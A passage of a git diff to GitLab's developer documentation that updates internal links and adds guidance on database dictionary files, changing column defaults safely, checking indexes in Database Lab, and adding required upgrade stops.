follow their [guidelines](https://design.gitlab.com/product-foundations/motion/). @@ -126,7 +125,7 @@ When the design is ready, _before_ starting its implementation: At any moment, but usually _during_ or _after_ the design's implementation: -- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contribute/#contribute-an-issue) +- Contribute [issues to Pajamas](https://design.gitlab.com/get-started/contributing#contribute-an-issue) for additions or enhancements to the design system. - Create issues with the [`~UX debt`](issue_workflow.md#technical-and-ux-debt) label for intentional deviations from the agreed-upon UX requirements due to diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index df337bb2809..9058eded2c7 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -51,7 +51,7 @@ Most issues will have labels for at least one of the following: - Specialization: `~frontend`, `~backend`, `~documentation` - Release Scoping: `~Deliverable`, `~Stretch`, `~"Next Patch Release"` - Priority: `~"priority::1"`, `~"priority::2"`, `~"priority::3"`, `~"priority::4"` -- Severity: ~`"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"` +- Severity: `~"severity::1"`, `~"severity::2"`, `~"severity::3"`, `~"severity::4"` Please add `~"breaking change"` label if the issue can be considered as a [breaking change](../deprecation_guidelines/index.md). diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index f06e8825660..ac3afa14b81 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -195,7 +195,7 @@ the contribution acceptance criteria below: and testing future changes. 1. Changes do not degrade performance: - Avoid repeated polling of endpoints that require a significant amount of overhead. - - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_performance_guidelines.md). + - Check for N+1 queries via the SQL log or [`QueryRecorder`](../merge_request_concepts/performance.md). - Avoid repeated access of the file system. - Use [polling with ETag caching](../polling.md) if needed to support real-time features. 1. If the merge request adds any new libraries (like gems or JavaScript libraries), @@ -223,7 +223,7 @@ requirements. 1. Working and clean code that is commented where needed. 1. The change is evaluated to [limit the impact of far-reaching work](https://about.gitlab.com/handbook/engineering/development/#reducing-the-impact-of-far-reaching-work). -1. [Performance guidelines](../merge_request_performance_guidelines.md) have been followed. +1. [Performance guidelines](../merge_request_concepts/performance.md) have been followed. 1. [Secure coding guidelines](https://gitlab.com/gitlab-com/gl-security/security-guidelines) have been followed. 1. [Application and rate limit guidelines](../merge_request_application_and_rate_limit_guidelines.md) have been followed. 1. [Documented](../documentation/index.md) in the `/doc` directory. diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index b568809ea4e..b08eaed2afa 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -190,9 +190,9 @@ Contributors can configure Danger for their forks with the following steps: 1. Create a [personal API token](https://gitlab.com/-/profile/personal_access_tokens?name=GitLab+Dangerbot&scopes=api) that has the `api` scope set (don't forget to copy it to the clipboard). -1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#add-a-cicd-variable-to-a-project) +1. In your fork, add a [project CI/CD variable](../ci/variables/index.md#for-a-project) called `DANGER_GITLAB_API_TOKEN` with the token copied in the previous step. 1. Make the variable [masked](../ci/variables/index.md#mask-a-cicd-variable) so it doesn't show up in the job logs. The variable cannot be - [protected](../ci/variables/index.md#protected-cicd-variables), because it needs + [protected](../ci/variables/index.md#protect-a-cicd-variable), because it needs to be present for all branches. diff --git a/doc/development/database/adding_database_indexes.md b/doc/development/database/adding_database_indexes.md index 6a401c804f5..e1d5a7af6d9 100644 --- a/doc/development/database/adding_database_indexes.md +++ b/doc/development/database/adding_database_indexes.md @@ -294,16 +294,14 @@ end ### Verify the MR was deployed and the index exists in production -You can verify if the post-deploy migration was executed on GitLab.com by: - -- Executing `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`, - the post-deploy migration has been executed in the production database. More details in this - [guide](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). -- Use a meta-command in #database-lab, such as: `\d <index_name>`. - - Ensure that the index is not [`invalid`](https://www.postgresql.org/docs/12/sql-createindex.html#:~:text=The%20psql%20%5Cd%20command%20will%20report%20such%20an%20index%20as%20INVALID). -- Ask someone in #database to check if the index exists. -- With proper access, you can also verify directly on production or in a - production clone. +1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with + `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`, + the post-deploy migration has been executed in the production database. For more information, see + [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). +1. In the case of an [index created asynchronously](#schedule-the-index-to-be-created), wait + until the next week so that the index can be created over a weekend. +1. Use [Database Lab](database_lab.md) to check [if creation was successful](database_lab.md#checking-indexes). + Ensure the output does not indicate the index is `invalid`. ### Add a migration to create the index synchronously @@ -394,15 +392,15 @@ You must test the database index changes locally before creating a merge request ### Verify the MR was deployed and the index no longer exists in production -You can verify if the MR was deployed to GitLab.com with -`/chatops run auto_deploy status <merge_sha>`. To verify the existence of -the index, you can: - -- Use a meta-command in `#database-lab`, for example: `\d <index_name>`. -- Make sure the index no longer exists -- Ask someone in `#database` to check if the index exists. -- If you have access, you can verify directly on production or in a - production clone. +1. Verify that the post-deploy migration was executed on GitLab.com using ChatOps with + `/chatops run auto_deploy status <merge_sha>`. If the output returns `db/gprd`, + the post-deploy migration has been executed in the production database. For more information, see + [How to determine if a post-deploy migration has been executed on GitLab.com](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/post_deploy_migration/readme.md#how-to-determine-if-a-post-deploy-migration-has-been-executed-on-gitlabcom). +1. In the case of an [index removed asynchronously](#schedule-the-index-to-be-removed), wait + until the next week so that the index can be created over a weekend. +1. Use Database Lab [to check if removal was successful](database_lab.md#checking-indexes). + [Database Lab](database_lab.md) + should report an error when trying to find the removed index. If not, the index may still exist. ### Add a migration to destroy the index synchronously diff --git a/doc/development/database/avoiding_downtime_in_migrations.md b/doc/development/database/avoiding_downtime_in_migrations.md index b34c0bbf728..bb6e13eff53 100644 --- a/doc/development/database/avoiding_downtime_in_migrations.md +++ b/doc/development/database/avoiding_downtime_in_migrations.md @@ -282,6 +282,62 @@ Example migration: end ``` +## Changing column defaults + +Changing column defaults is difficult because of how Rails handles values +that are equal to the default. + +If running code ever explicitly writes the old default value of a column, you must follow a multi-step +process to prevent Rails replacing the old default with the new default in INSERT queries that explicitly +specify the old default. + +Doing this requires steps in two minor releases: + +1. Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration. +1. Clean up the `SafelyChangeColumnDefault` concern in the next minor release. + +We must wait a minor release before cleaning up the `SafelyChangeColumnDefault` because self-managed +releases bundle an entire minor release into a single zero-downtime deployment. + +### Step 1: Add the `SafelyChangeColumnDefault` concern to the model and change the default in a post-migration + +The first step is to mark the column as safe to change in application code. + +```ruby +class Ci::Build < ApplicationRecord + include SafelyChangeColumnDefault + + columns_changing_default :partition_id +end +``` + +Then create a **post-deployment migration** to change the default: + +```shell +bundle exec rails g post_deployment_migration change_ci_builds_default +``` + +```ruby +class ChangeCiBuildsDefault < Gitlab::Database::Migration[2.1] + def up + change_column_default('ci_builds', 'partition_id', from: 100, to: 101) + end + + def down + change_column_default('ci_builds', 'partition_id', from: 101, to: 100) + end +end +``` + +You can consider [enabling lock retries](../migration_style_guide.md#usage-with-transactional-migrations) +when you run a migration on big tables, because it might take some time to +acquire a lock on this table. + +### Step 2: Clean up the `SafelyChangeColumnDefault` concern in the next minor release + +In the next minor release, create a new merge request to remove the `columns_changing_default` call. Also remove the `SafelyChangeColumnDefault` include +if it is not needed for a different column. + ## Changing The Schema For Large Tables While `change_column_type_concurrently` and `rename_column_concurrently` can be @@ -319,10 +375,8 @@ This operation is safe as there's no code using the table just yet. Dropping tables can be done safely using a post-deployment migration, but only if the application no longer uses the table. -Add the table to `DELETED_TABLES` in -[gitlab_schema.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/database/gitlab_schema.rb), -along with its `gitlab_schema`. Even though the table is deleted, it is still -referenced in database migrations. +Add the table to [`db/docs/deleted_tables`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/db/docs/deleted_tables) using the process described in [database dictionary](database_dictionary.md#dropping-tables). +Even though the table is deleted, it is still referenced in database migrations. ## Renaming Tables diff --git a/doc/development/database/batched_background_migrations.md b/doc/development/database/batched_background_migrations.md index 71df4da59c3..88fdfab9828 100644 --- a/doc/development/database/batched_background_migrations.md +++ b/doc/development/database/batched_background_migrations.md @@ -269,6 +269,7 @@ In the second (filtered) example, we know exactly 100 will be updated with each class BackfillNamespaceType < BatchedMigrationJob scope_to ->(relation) { relation.where(type: nil) } operation_name :update_all + feature_category :source_code_management def perform each_sub_batch do |sub_batch| @@ -330,6 +331,7 @@ background migration. # end operation_name :update_all + feature_category :source_code_management def perform each_sub_batch( diff --git a/doc/development/database/constraint_naming_convention.md b/doc/development/database/constraint_naming_convention.md index e9e130495e6..4ac1cd2a71d 100644 --- a/doc/development/database/constraint_naming_convention.md +++ b/doc/development/database/constraint_naming_convention.md @@ -18,7 +18,7 @@ The intent is not to retroactively change names in existing databases but rather |--------------------------|---------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| | **Primary Key** | `pk_<table name>` | | `pk_projects` | | **Foreign Key** | `fk_<table name>_<column name>[_and_<column name>]*_<foreign table name>` | | `fk_projects_group_id_groups` | -| **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | | `index_repositories_on_group_id` | +| **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | Index names must be all lowercase. | `index_repositories_on_group_id` | | **Unique Constraint** | `unique_<table name>_<column name>[_and_<column name>]*` | | `unique_projects_group_id_and_name` | | **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to disambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` | | **Exclusion Constraint** | `excl_<table name>_<column name>[_and_<column name>]*_[_<suffix>]?` | The optional suffix should denote the type of exclusion being performed. | `excl_reservations_start_at_end_at_no_overlap` | diff --git a/doc/development/database/database_dictionary.md b/doc/development/database/database_dictionary.md index d74d7e77edb..b7e6fa4b5b3 100644 --- a/doc/development/database/database_dictionary.md +++ b/doc/development/database/database_dictionary.md @@ -17,7 +17,7 @@ For the `geo` database, the dictionary files are stored under `ee/db/docs/`. ## Example dictionary file ```yaml ---- +---- table_name: terraform_states classes: - Terraform::State @@ -28,45 +28,110 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26619 milestone: '13.0' ``` -## Schema +## Adding tables -| Attribute | Type | Required | Description | -|----------------------------|---------------|----------|-----------------------------------------------------------------------------------| -| `table_name` / `view_name` | String | yes | Database table name or view name | -| `classes` | Array(String) | no | List of classes that are associated to this table or view. | -| `feature_categories` | Array(String) | yes | List of feature categories using this table or view. | -| `description` | String | no | Text description of the information stored in the table or view, and its purpose. | -| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table or view. | -| `milestone` | String | no | The milestone that introduced this table or view. | -| `gitlab_schema` | String | yes | GitLab schema name. | +### Schema -## Adding tables +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database table name. | +| `classes` | Array(String) | no | List of classes that are associated to this table. | +| `feature_categories` | Array(String) | yes | List of feature categories using this table. | +| `description` | String | no | Text description of the information stored in the table, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. | +| `milestone` | String | no | The milestone that introduced this table. | +| `gitlab_schema` | String | yes | GitLab schema name. | -When adding a new table, create a new file under `db/docs/` for the `main` and `ci` databases. -For the `geo` database use `ee/db/docs/`. -Name the file as `<table_name>.yml`, containing as much information as you know about the table. +### Process -Include this file in the commit with the migration that creates the table. +When adding a table, you should: + +1. Create a new file for this table in the appropriate directory: + - `gitlab_main` table: `db/docs/` + - `gitlab_ci` table: `db/docs/` + - `gitlab_shared` table: `db/docs/` + - `gitlab_geo` table: `ee/db/docs/` +1. Name the file `<table_name>.yml`, and include as much information as you know about the table. +1. Include this file in the commit with the migration that creates the table. ## Dropping tables -When dropping a table, you must remove the metadata file from `db/docs/` for `main` and `ci` databases. -For the `geo` database, you must remove the file from `ee/db/docs/`. -Use the same commit with the migration that drops the table. +### Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database table name. | +| `classes` | Array(String) | no | List of classes that are associated to this table. | +| `feature_categories` | Array(String) | yes | List of feature categories using this table. | +| `description` | String | no | Text description of the information stored in the table, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this table. | +| `milestone` | String | no | The milestone that introduced this table. | +| `gitlab_schema` | String | yes | GitLab schema name. | +| `removed_by_url` | String | yes | URL to the merge request or commit which removed this table. | +| `removed_in_milestone` | String | yes | The milestone that removes this table. | + +### Process + +When dropping a table, you should: + +1. Move the dictionary file for this table to the `deleted_tables` directory: + - `gitlab_main` table: `db/docs/deleted_tables/` + - `gitlab_ci` table: `db/docs/deleted_tables/` + - `gitlab_shared` table: `db/docs/deleted_tables/` + - `gitlab_geo` table: `ee/db/docs/deleted_tables/` +1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file. +1. Include this change in the commit with the migration that drops the table. ## Adding views +### Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `table_name` | String | yes | Database view name. | +| `classes` | Array(String) | no | List of classes that are associated to this view. | +| `feature_categories` | Array(String) | yes | List of feature categories using this view. | +| `description` | String | no | Text description of the information stored in the view, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. | +| `milestone` | String | no | The milestone that introduced this view. | +| `gitlab_schema` | String | yes | GitLab schema name. | + +### Process + When adding a new view, you should: 1. Create a new file for this view in the appropriate directory: - - `main` database: `db/docs/views/` - - `ci` database: `db/docs/views/` - - `geo` database: `ee/db/docs/views/` + - `gitlab_main` view: `db/docs/views/` + - `gitlab_ci` view: `db/docs/views/` + - `gitlab_shared` view: `db/docs/views/` + - `gitlab_geo` view: `ee/db/docs/views/` 1. Name the file `<view_name>.yml`, and include as much information as you know about the view. 1. Include this file in the commit with the migration that creates the view. ## Dropping views -When dropping a view, you must remove the metadata file from `db/docs/views/`. -For the `geo` database, you must remove the file from `ee/db/docs/views/`. -Use the same commit with the migration that drops the view. +## Schema + +| Attribute | Type | Required | Description | +|----------------------------|---------------|----------|-------------| +| `view_name` | String | yes | Database view name. | +| `classes` | Array(String) | no | List of classes that are associated to this view. | +| `feature_categories` | Array(String) | yes | List of feature categories using this view. | +| `description` | String | no | Text description of the information stored in the view, and its purpose. | +| `introduced_by_url` | URL | no | URL to the merge request or commit which introduced this view. | +| `milestone` | String | no | The milestone that introduced this view. | +| `gitlab_schema` | String | yes | GitLab schema name. | +| `removed_by_url` | String | yes | URL to the merge request or commit which removed this view. | +| `removed_in_milestone` | String | yes | The milestone that removes this view. | + +### Process + +When dropping a view, you should: + +1. Move the dictionary file for this table to the `deleted_views` directory: + - `gitlab_main` view: `db/docs/deleted_views/` + - `gitlab_ci` view: `db/docs/deleted_views/` + - `gitlab_shared` view: `db/docs/deleted_views/` + - `gitlab_geo` view: `ee/db/docs/deleted_views/` +1. Add the fields `removed_by_url` and `removed_in_milestone` to the dictionary file. +1. Include this change in the commit with the migration that drops the view. diff --git a/doc/development/database/database_lab.md b/doc/development/database/database_lab.md index b60091fa37c..162fc597cc4 100644 --- a/doc/development/database/database_lab.md +++ b/doc/development/database/database_lab.md @@ -75,6 +75,45 @@ the new index. `exec` does not return any results, only the time required to exe After many changes, such as after a destructive query or an ineffective index, you must start over. To reset your designated clone, run `reset`. +#### Checking indexes + +Use Database Lab to check the status of an index with the meta-command `\d <index_name>`. + +Caveats: + +- Indexes are created in both the `main` and `ci` databases, so be sure to use the instance + that matches the table's `gitlab_schema`. For example, if the index is added to + [`ci_builds`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/docs/ci_builds.yml#L14), + use `gitlab-production-ci`. +- Database Lab typically has a small delay of a few hours. If more up-to-date information + is required, you can instead request access to a replica [via Teleport](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/Teleport/Connect_to_Database_Console_via_Teleport.md) + +For example: `\d index_design_management_designs_on_project_id` produces: + +```plaintext +Index "public.index_design_management_designs_on_project_id" + Column | Type | Key? | Definition +------------+---------+------+------------ + project_id | integer | yes | project_id +btree, for table "public.design_management_designs" +``` + +In the case of an invalid index, the output ends with `invalid`, like: + +```plaintext +Index "public.index_design_management_designs_on_project_id" + Column | Type | Key? | Definition +------------+---------+------+------------ + project_id | integer | yes | project_id +btree, for table "public.design_management_designs", invalid +``` + +If the index doesn't exist, JoeBot throws an error like: + +```plaintext +ERROR: psql error: psql:/tmp/psql-query-932227396:1: error: Did not find any relation named "no_index". +``` + ### Migration testing For information on testing migrations, review our diff --git a/doc/development/database/index.md b/doc/development/database/index.md index c244d784422..5abc7cd3ffa 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -23,59 +23,59 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Migrations -- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type) -- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models -- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations) -- [Legacy Background migrations guidelines](background_migrations.md) +- [Adding required stops](required_stops.md) +- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md) - [Batched background migrations guidelines](batched_background_migrations.md) +- [Create a regular migration](../migration_style_guide.md#create-a-regular-schema-migration), including creating new models - [Deleting migrations](deleting_migrations.md) -- [Running database migrations](database_debugging.md#migration-wrangling) +- [Different types of migrations](../migration_style_guide.md#choose-an-appropriate-migration-type) +- [Legacy background migrations guidelines](background_migrations.md) - [Migrations for multiple databases](migrations_for_multiple_databases.md) -- [Avoiding downtime in migrations](avoiding_downtime_in_migrations.md) -- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md) - [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations -- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide -- [Post deployment migrations](post_deployment_migrations.md) -- [Swapping tables](swapping_tables.md) -- [Deleting migrations](deleting_migrations.md) -- [SQL guidelines](../sql.md) for working with SQL queries - [Partitioning tables](table_partitioning.md) +- [Post-deployment migrations guidelines](post_deployment_migrations.md) and [how to create one](post_deployment_migrations.md#creating-migrations) +- [Running database migrations](database_debugging.md#migration-wrangling) +- [SQL guidelines](../sql.md) for working with SQL queries +- [Swapping tables](swapping_tables.md) +- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide +- [When and how to write Rails migrations tests](../testing_guide/testing_migrations_guide.md) ## Debugging -- [Resetting the database](database_debugging.md#delete-everything-and-start-over) - [Accessing the database](database_debugging.md#manually-access-the-database) +- [Resetting the database](database_debugging.md#delete-everything-and-start-over) - [Troubleshooting and debugging the database](database_debugging.md) -- Tracing the source of an SQL query using query comments with [Marginalia](database_query_comments.md) -- Tracing the source of an SQL query in Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs) +- Tracing the source of an SQL query: + - In Rails console using [Verbose Query Logs](https://guides.rubyonrails.org/debugging_rails_applications.html#verbose-query-logs) + - Using query comments with [Marginalia](database_query_comments.md) ## Best practices - [Adding database indexes](adding_database_indexes.md) -- [Foreign keys & associations](foreign_keys.md) - [Adding a foreign key constraint to an existing column](add_foreign_key_to_existing_column.md) -- [`NOT NULL` constraints](not_null_constraints.md) -- [Strings and the Text data type](strings_and_the_text_data_type.md) -- [Single table inheritance](single_table_inheritance.md) -- [Polymorphic associations](polymorphic_associations.md) -- [Serializing data](serializing_data.md) +- [Check for background migrations before upgrading](../../update/background_migrations.md) +- [Client-side connection-pool](client_side_connection_pool.md) +- [Constraints naming conventions](constraint_naming_convention.md) +- [Creating enums](creating_enums.md) +- [Data layout and access patterns](layout_and_access_patterns.md) +- [Efficient `IN` operator queries](efficient_in_operator_queries.md) +- [Foreign keys & associations](foreign_keys.md) - [Hash indexes](hash_indexes.md) -- [Storing SHA1 hashes as binary](sha1_as_binary.md) -- [Iterating tables in batches](iterating_tables_in_batches.md) - [Insert into tables in batches](insert_into_tables_in_batches.md) +- [Iterating tables in batches](iterating_tables_in_batches.md) +- [`NOT NULL` constraints](not_null_constraints.md) - [Ordering table columns](ordering_table_columns.md) -- [Verifying database capabilities](verifying_database_capabilities.md) -- [Query Count Limits](query_count_limits.md) -- [Creating enums](creating_enums.md) -- [Client-side connection-pool](client_side_connection_pool.md) -- [Updating multiple values](setting_multiple_values.md) -- [Constraints naming conventions](constraint_naming_convention.md) -- [Query performance guidelines](query_performance.md) - [Pagination guidelines](pagination_guidelines.md) - [Pagination performance guidelines](pagination_performance_guidelines.md) -- [Efficient `IN` operator queries](efficient_in_operator_queries.md) -- [Data layout and access patterns](layout_and_access_patterns.md) -- [Check for background migrations before upgrading](../../update/background_migrations.md) +- [Polymorphic associations](polymorphic_associations.md) +- [Query count limits](query_count_limits.md) +- [Query performance guidelines](query_performance.md) +- [Serializing data](serializing_data.md) +- [Single table inheritance](single_table_inheritance.md) +- [Storing SHA1 hashes as binary](sha1_as_binary.md) +- [Strings and the Text data type](strings_and_the_text_data_type.md) +- [Updating multiple values](setting_multiple_values.md) +- [Verifying database capabilities](verifying_database_capabilities.md) ## Case studies diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md index 54b315b9dd9..aeab45e2158 100644 --- a/doc/development/database/pagination_guidelines.md +++ b/doc/development/database/pagination_guidelines.md @@ -62,7 +62,7 @@ Offset-based pagination is the easiest way to paginate over records, however, it - Avoid presenting total counts, prefer limit counts. - Example: count maximum 1001 records, and then on the UI show 1000+ if the count is 1001, show the actual number otherwise. - - See the [badge counters approach](../merge_request_performance_guidelines.md#badge-counters) for more information. + - See the [badge counters approach](../merge_request_concepts/performance.md#badge-counters) for more information. - Avoid using page numbers, use next and previous page buttons. - Keyset pagination doesn't support page numbers. - For APIs, advise against building URLs for the next page by "hand". diff --git a/doc/development/database/query_recorder.md b/doc/development/database/query_recorder.md index 84bd0fc938f..dfaaf8afcde 100644 --- a/doc/development/database/query_recorder.md +++ b/doc/development/database/query_recorder.md @@ -10,7 +10,7 @@ QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.r > Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a) -As a rule, merge requests [should not increase query counts](../merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. +As a rule, merge requests [should not increase query counts](../merge_request_concepts/performance.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem. ## How it works @@ -52,7 +52,7 @@ there are no N+1 queries. Rather than make an extra request to warm the cache, p ## Cached queries -By default, QueryRecorder ignores [cached queries](../merge_request_performance_guidelines.md#cached-queries) in the count. However, it may be better to count +By default, QueryRecorder ignores [cached queries](../merge_request_concepts/performance.md#cached-queries) in the count. However, it may be better to count all queries to avoid introducing an N+1 query that may be masked by the statement cache. To do this, this requires the `:use_sql_query_cache` flag to be set. You should pass the `skip_cached` variable to `QueryRecorder` and use the `exceed_all_query_limit` matcher: @@ -146,5 +146,5 @@ There are multiple ways to find the source of queries. - [Bullet](../profiling.md#bullet) For finding `N+1` query problems - [Performance guidelines](../performance.md) -- [Merge request performance guidelines - Query counts](../merge_request_performance_guidelines.md#query-counts) -- [Merge request performance guidelines - Cached queries](../merge_request_performance_guidelines.md#cached-queries) +- [Merge request performance guidelines - Query counts](../merge_request_concepts/performance.md#query-counts) +- [Merge request performance guidelines - Cached queries](../merge_request_concepts/performance.md#cached-queries) diff --git a/doc/development/database/required_stops.md b/doc/development/database/required_stops.md new file mode 100644 index 00000000000..46fabb5c1b4 --- /dev/null +++ b/doc/development/database/required_stops.md @@ -0,0 +1,41 @@ +--- +stage: Data Stores +group: Database +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Adding required stops + +Required stops should only be added when it is deemed absolutely necessary, due to their +disruptive effect on customers. Before adding a required stop, consider if any +alternative approaches exist to avoid a required stop. Sometimes a required +stop is unavoidable. In those cases, follow the instructions below. + +## Before the required stop is released + +Before releasing a known required stop, complete these steps. If the required stop +is identified after release, the following steps must still be completed: + +1. Update [upgrade paths](../../update/index.md#upgrade-paths) to include the new + required stop. +1. Communicate the changes with the customer Support and Release management teams. +1. File an issue with the Database group to squash migrations to that version in the + next release. Use this template for your issue: + + ```markdown + Title: `Squash migrations to <Required stop version>` + As a result of the required stop added for <required stop version> we should squash + migrations up to that version, and update the minimum schema version. + + Deliverables: + - [ ] Migrations are squashed up to <required stop version> + - [ ] `Gitlab::Database::MIN_SCHEMA_VERSION` matches init_schema version + + /label ~"group::database" ~"section::enablement" ~"devops::data_stores" ~"Category:Database" ~"type::maintenance" + /cc @gitlab-org/database-team/triage + ``` + +## In the release following the required stop + +1. Update `Gitlab::Database::MIN_SCHEMA_GITLAB_VERSION` in `lib/gitlab/database.rb` to the + new required stop versions. Do not change `Gitlab::Database::MIN_SCHEMA_VERSION`. diff --git a/doc/development/database/setting_multiple_values.md b/doc/development/database/setting_multiple_values.md index fb85386785d..48be7ff9f10 100644 --- a/doc/development/database/setting_multiple_values.md +++ b/doc/development/database/setting_multiple_values.md @@ -32,7 +32,7 @@ update issues where id = obj_id ``` -You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/v6.1.0/classes/Arel.html), +You can't express this in ActiveRecord, or by dropping down to [Arel](https://api.rubyonrails.org/classes/Arel.html), because the `UpdateManager` does not support `update from`. However, we supply an abstraction to help you generate these kinds of updates: `Gitlab::Database::BulkUpdate`. This abstraction constructs queries like the previous example, and uses diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md index 5f1deb77b6c..30131fc0347 100644 --- a/doc/development/database/table_partitioning.md +++ b/doc/development/database/table_partitioning.md @@ -389,7 +389,8 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] TARGET_TABLE_NAME, column: [PARTITION_COLUMN, COLUMN], target_column: [PARTITION_COLUMN, TARGET_COLUMN], - validate: false + validate: false, + on_update: :cascade, name: CONSTRAINT_NAME ) @@ -402,6 +403,13 @@ class PrepareForeignKeyForPartitioning < Gitlab::Database::Migration[2.1] end ``` +The `on_update: :cascade` option is mandatory if we want the partitioning column +to be updated. This will cascade the update to all dependent rows. Without +specifying it, updating the partition column on the target table we would +result in a `Key is still referenced from table ...` error and updating the +partition column on the source table would raise a +`Key is not present in table ...` error. + ### Step 6 - Create parent table and attach existing table as the initial partition You can now create the parent table attaching the existing table as the initial diff --git a/doc/development/database_review.md b/doc/development/database_review.md index e66be062986..048482960f4 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -275,4 +275,4 @@ Include in the MR description: - [Check query plans](database/understanding_explain_plans.md) and suggest improvements to queries (changing the query, schema or adding indexes and similar) - General guideline is for queries to come in below [100ms execution time](database/query_performance.md#timing-guidelines-for-queries) - - Avoid N+1 problems and minimize the [query count](merge_request_performance_guidelines.md#query-counts). + - Avoid N+1 problems and minimize the [query count](merge_request_concepts/performance.md#query-counts). diff --git a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png Binary files differindex 594e15861b0..3020387d052 100644 --- a/doc/development/deprecation_guidelines/img/deprecation_removal_process.png +++ b/doc/development/deprecation_guidelines/img/deprecation_removal_process.png diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index be4a3369dcb..f4af005b849 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -33,7 +33,6 @@ https://about.gitlab.com/handbook/product/gitlab-the-product/#definitions - No longer tested internally. - Will be removed in a future major release. - Begins after an end-of-support date has passed. -- Ends after all relevant code has been removed. [Announcing an End of Support period](https://about.gitlab.com/handbook/marketing/blog/release-posts/#announcing-an-end-of-support-period) should only be used in special circumstances and is not recommended for general use. @@ -42,12 +41,11 @@ Most features should be deprecated and then removed. **Removal**: - Feature usage impossible. +- Feature no longer supported (if End of Support period hasn't already been announced). - Happens in a major release in line with our [semantic versioning policy](../../policy/maintenance.md). - Begins after removal date has passed. - - **Breaking change**: A "breaking change" is any change that requires users to make a corresponding change to their code, settings, or workflow. "Users" might be humans, API clients, or even code classes that "use" another class. Examples of breaking changes include: @@ -58,6 +56,8 @@ A "breaking change" is any change that requires users to make a corresponding ch A breaking change can be considered major if it affects many users, or represents a significant change in behavior. + + ## When can a feature be deprecated? Deprecations should be announced on the [Deprecated feature removal schedule](../../update/deprecations.md). 